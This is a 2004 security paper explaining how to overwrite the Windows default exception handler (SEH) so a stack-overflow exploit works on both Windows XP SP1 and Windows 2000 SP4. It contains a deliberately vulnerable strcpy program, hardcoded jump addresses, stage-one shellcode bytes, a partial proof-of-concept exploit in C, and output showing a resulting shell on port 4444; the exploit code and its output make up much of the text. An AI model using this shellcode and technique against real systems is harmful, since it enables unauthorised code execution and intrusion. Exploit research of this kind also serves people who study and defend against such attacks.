Exploiting Default Exception Handler to Increase Exploit Stability Under Win32
17 Nov. 2004
Summary
The below paper will try to explain how Windows based application's exception handler can be used to increase the exploit's stability in the case of a stack overflow.
Credit:
The information has been provided by tal zeltzer.
Overview of the exploitation process:
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.
[Buf] <- Shellcode
[Return Address] <- jmp register (for Windows XP sp1)
[Various Stack Data] <- Junk
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward
[SE Handler] <- jmp register (for Win2k sp4)
[Stage1 Shellcode] <- stage1 shellcode for win2k
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses
Vulnerable Code:
//lamebuf.c
#include<stdio.h>
#include<string.h>
#include<windows.h>
int main(int argc,char *argv[]){
char buf[512];
char buf1[1024]; // <- simulate a stack
//DebugBreak();
if (argc != 2){ return -1; }
strcpy(buf,argv[1]);
return 0x0;
}
Getting Started:
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:
Lets take a look at the stack and see what happened to the default exception handler: 0x0012FFB0 41414141 Pointer to next SEH Record
0x0012FFB4 41414141 SE Handler
We successfully overwrote the return address and the default exception handler.
Primary Return Address (Windows XP SP1 EN):
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
Secondary Return Address (Windows 2000 SP4 EN):
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be: "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
Proof Of Concept:
// exploit.c
// Tal zeltzer - [Double Return] //
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en
bufExe[1] = buf;
//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);
return 0x0;
}
Exploit under Windows XP SP1: C:\>exploit
C:\>
C:\>telnet 127.0.0.1 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
Exploit under Windows 2000 SP4: C:\>exploit
C:\>
C:\>telnet 127.0.0.1 4444
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.